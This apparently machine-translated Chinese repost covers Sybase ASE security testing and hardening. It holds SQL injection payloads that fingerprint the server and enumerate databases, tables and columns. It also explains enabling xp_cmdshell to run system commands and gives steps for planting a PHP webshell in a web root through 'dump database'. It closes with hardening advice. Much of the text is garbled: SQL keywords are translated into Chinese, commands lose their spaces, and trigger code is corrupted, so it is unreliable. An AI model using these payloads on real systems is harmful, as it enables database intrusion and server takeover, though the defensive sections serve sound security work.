最新新闻:

数据库服务器开发平台 SAPSybaseSQLAnywhere

时间:2022-04-21 10:04:52来源:网络整理

0x00 Sybase 数据库简介

Sybase的全称也叫:SAP Sybase Adaptive Server Enterprise(ASE或简称Sybase ASE),继承自MSSQL的原始代码,与MSSQL非常接近。 Sybase是一个关系型数据库系统,是典型的UNIX或WindowsNT平台上客户端/服务器环境下的大型数据库系统。它使用 PowerBuilder 作为开发工具,使用 SAP Sybase SQL Anywhere 作为客户端。当前版本是ASE 15.7.x,从12.5.5直接命名为15.0.0(中间跳过13、14),本次测试为12.5.2,其中12.5是12大版本中最稳定的版本。

创建数据库时,注意存储设备:

服务和端口

开放端口:

备份服务:5001、监控服务:5002、数据库主服务:5000、存储过程服务:5004

默认数据库

Master:系统的核心数据库,控制服务器的运行,存储所有用户数据库和相关存储设备的信息,包括用户名和密码;

模型:模板数据库。在创建用户数据库时,系统会根据模型数据库进行复制,并将数据库的大小扩展为用户指定的大小。

Systemprocs:存储系统的存储过程。

Sybsystemdb:关于分布式事务管理功能。

Tempdb:包含放置临时数据的临时表。

注册用户和数据库用户

SQL SERVER创建注册用户时,用户可以合法进入SQL SERVER,注册用户信息会放在master数据库的syslogins表中。但是,只有当注册用户成为数据库用户并授予用户一定的权限后,注册用户才能在受限条件下使用数据库中的表。

创建注册用户:

1

2

sp_addlogin loginame,passwd(delete is drop)

创建数据库用户:

1

2

[dbname..] sp_adduser loginame(这里的loginame必须是注册用户,否则会报错)

分配权限:

1

2

3

4

授予所有|选择、插入、删除、更新

在表名上 |视图名称 |存储过程名称

到用户名

1

2

3

4

全部授予 |创建数据库,创建

默认、创建过程、创建规则、创建表、创建视图、设置代理、设置会话授权

到用户名

数据库用户分类

sa用户、数据库所有者、数据库对象所有者和数据库普通用户

1),sa用户:是系统用户,拥有所有权限。

2),数据库所有者用户:数据库所有者(dbo)用户可以操作该数据库中的所有对象(如表、视图、存储过程等)。

3),数据库对象所有者:在实际管理中,,一般是数据库所有者。

4)数据库服务器开发平台,普通数据库用户:与public类似,普通数据库用户只有在数据库所有者对数据库中的某些对象(如表、视图、进程等)授予一定权限时才能访问数据库允许操作中的某些对象。

别名和组

1),别名:所谓别名(aliases),是指SQL SERVER中的注册用户以同一个数据库用户的身份访问数据库,并拥有与该用户相同的权限。

2)数据库服务器开发平台,group是数据库用户的集合,即通过控制组的权限来实现对组内数据库用户的控制,但也可以控制组内的部分数据库用户。用户执行额外的权限控制。

角色

一般来说,在一个分工精细的数据库系统中,sa用户往往分为三种角色:系统管理员角色(SA角色)、系统安全员角色(SSOrole)和操作员角色(OPER角色)。

连接和管理工具

1),isql

mysql.exe 类似于mysql 数据库。可以连接到本地和网络数据库。使用 isql -U sa -P "" 连接:

所有参数都区分大小写:

-?显示 isql 开关的语法摘要。

-L 列出本地配置并在网络上广播的服务器名称。

-U login_id 用户登录 ID。登录 ID 区分大小写。

-P 密码是用户指定的密码。如果未使用 -P 选项,isql 将提示输入密码。如果在没有密码的命令提示符末尾使用 -P 选项,则 isql 使用默认密码 NULL)。密码区分大小写。

-S server_name 指定要连接的默认 SQLServer 实例。如果未指定服务器,isql 将连接到本地计算机上的默认 SQLServer 实例。如果要通过网络从远程计算机执行 isql,则需要此选项。

-H hostname 是使用的客户端的主机名。

-d 使用数据库名,用于指定要使用的数据库名

2),官方 Sybase SQL Advantage

缺点:随数据库完整安装包发布,使用时有版本要求。

b.仅支持 SQL 语句。个人认为是isql的图形化版本,不方便。

(Sql.ini 设置和功能:)

3),官方 Sybase Central

缺点:随数据库完整安装包发布,使用时有版本要求。

b,功能不是很强大

4),DBArtisan

0x01 Sybase 安全执行系统命令

默认 xp_cmdshell 被禁用。当 xp_cmdshell 未启用时:

启用 xp_cmdshell: sp_configure 'xp_cmdshell context',0

打开xp_cmdshell后执行命令:

权限不足时执行xp_cmdshell:

详情:

1、执行sp_configure 'xp_cmdshell',0 允许所有具有sa_role角色的登录用户执行xp_cmdshell命令,该功能默认关闭

2、默认sp_configure 'xp_cmdshell',1在windows下测试过longin用户名和密码相同,用户属于administrators权限组。您需要更改密码”!

3、MSSQL由于与windows集成,可以直接使用系统账号登录数据库。而Sybase需要按照上面第二步进行配置,才能达到和MSSQL类似的效果。

评论和联合查询

支持联合,可以用//,--注释,可以用//代替空格,也可以用+代替空格,也支持count(),但是子查询中不能出现通配符。

12.5.2及之前版本不支持TOP关键字,select top N from等注入语句会报错

当然不能用top,肯定会有另一种选择,就是set rowcount N

但是set rowcount N 好像不支持子查询和条件:

多个句子

与mssql不同的是,多条语句直接用空格而不是分号隔开。

编码支持

与 MSSQL 相同:

SQL 注入功能

PHP 中的脚本:

Java 脚本:

判断是否为sybase数据库:

1

2

id=1 且存在(从 master.dbo.ijdbc_function_escapes 中选择*)

在错误模式下注入时,请注意sybase不支持直接比较不同类型的数据(不同于MSSQL):

1

2

3

4

5

6

7

8

9

10

11

id=1 和 1=用户

id=1 and 1=convert(integer,user)

![在此处输入图片描述][28]

id=1 and 1=convert(integer,(select+@@version))

![在此处输入图片描述][29]

id=-1 unionselect1,"",(select@@version)

列库(复杂版):

1

2

id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))) FROM (SELECT name FROM master..sysdatabases) A​​S gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>' '))

列出第一个库主

1

2

id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))) FROM (SELECT name FROM master..sysdatabases) A​​S gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>'master'))

列出除master之外的第一个库

列库(简单版):

1

2

id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1)) 不断增加dbid的值

dbid是一个连续数,容易猜到

PS:虽然Sybase不能使用TOP,对于xml路径,但是支持have,where not in等语法,还是有很多方法可以改变的。

与 MSSQL 的一个区别:

MSSQL 是 xtype Sybase 是类型

列表(仅限复杂版本):

1

2

id=1 and 1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))) from (selectname fromtest.dbo .sysobjects wheretype='U') AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>' '))

列出第一个表的cmd

1

2

id=1 and 1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))) from (selectname fromtest.dbo .sysobjects wheretype='U') AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>'cmd'))

列出除cmd之外的第一个表cmd0

列字段:

1

2

selectname fromtest..syscolumns whereid=object_id('users') and colid=1 递增 colid

即:

1

2

id=1 and 1=convert(integer,(selectname fromtest..syscolumns whereid=object_id('users') and colid=1))

工具注入:

Pangolin猜不出库名,发现抓包中使用了TOP关键字。好像穿山甲在12.5.3

之后才支持sybase

备份写入文件(webshel​​l)

先决条件:

1、备份服务开启

2、备份服务允许远程访问

3、有数据库权限(主机权限)+磁盘写权限

步骤:

1

2

3

4

5

6

7

8

9

10

11

12

13

1、创建表cmd(一张图片)—

2、插入cmd(a)值​​​('')—

3、dump databasetestto ‘C:\wamp\www\1.php’ [完整备份]

(对应MSSQL:backup database library name to disk='C:\wamp\www\1.php 'WITH DIFFERENTIAL,FORMAT;--)

将 TRANSACTIONtest 转储到 ‘C:\wamp\www\1.php’ [日志备份]

(对应MSSQL:备份日志库名到磁盘='d:\www\xxx\test.asp'--)

注意:使用转储TRANSACTION时,数据文件和日志文件不能存储在同一设备中。

4、drop table cmd--

强化与预防

密码

1

2

sp_password "旧密码", "新密码", 用户名

例如将sa用户的密码由null改为123456:sp_password NULL,"123456",sa

1

2

3

4

5

6

7

8

sp_configure"minimumpasswordlength",8---最小密码长度

sp_configure "checkpasswordfordigit",1---至少包含一位数字

sp_configure "systemwidepasswordexpiration",90---密码有效期

sp_configure "maximumfailedlogins",5---设置密码错误锁定阈值

删除扩展存储过程xp_cmdshell,并删除sybsyesp.dll

1

2

execsp_dropextendedproc xp_cmdshell

关闭sa账号的使用:

1

2

sp_lockloginsa,"锁"

关闭远程访问:

1

2

execsp_configure “允许远程访问”,0

关闭后,很多服务将无法使用,比如备份

登录IP白名单

系统对登录没有任何限制,仅通过创建登录触发器实现登录IP白名单

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

createprocedurelogin_trg

作为

"__cf_email__"href="">[emailprotected](18),@login_namevarchar(20)

开始

选择

@ip=t.ipaddr,@login_name=suser_name()

frommaster.dbo.sysprocessestwheret.spid=@@spid

"__cf_email__"href="">[emailprotected]'192.168.0.102'

开始

raiserror30000'IPaddress%1!,withuser%2!loginfailed!',@ip,@login_name

选择syb_quit()

结束

其他

打印“欢迎!”

结束

创建登录触发器后,执行以下命令:

1

2

3

isql>grantexecuteonlogin_trgtloginname

isql>sp_modifyloginloginname,"loginscript",login_trg

日志

1

2

3

isql>execsp_configure"logauditlogonfailure",1--记录登录失败信息

isql>execsp_configure"logauditlogonsuccess",1--记录登录成功信息

/uploads/2015/08/

声明:文章仅代表原作者观点,不代表本站立场;如有侵权、违规,可直接反馈本站,我们将会作修改或删除处理。

猜您喜欢

图文推荐

热点排行

精彩文章

热门推荐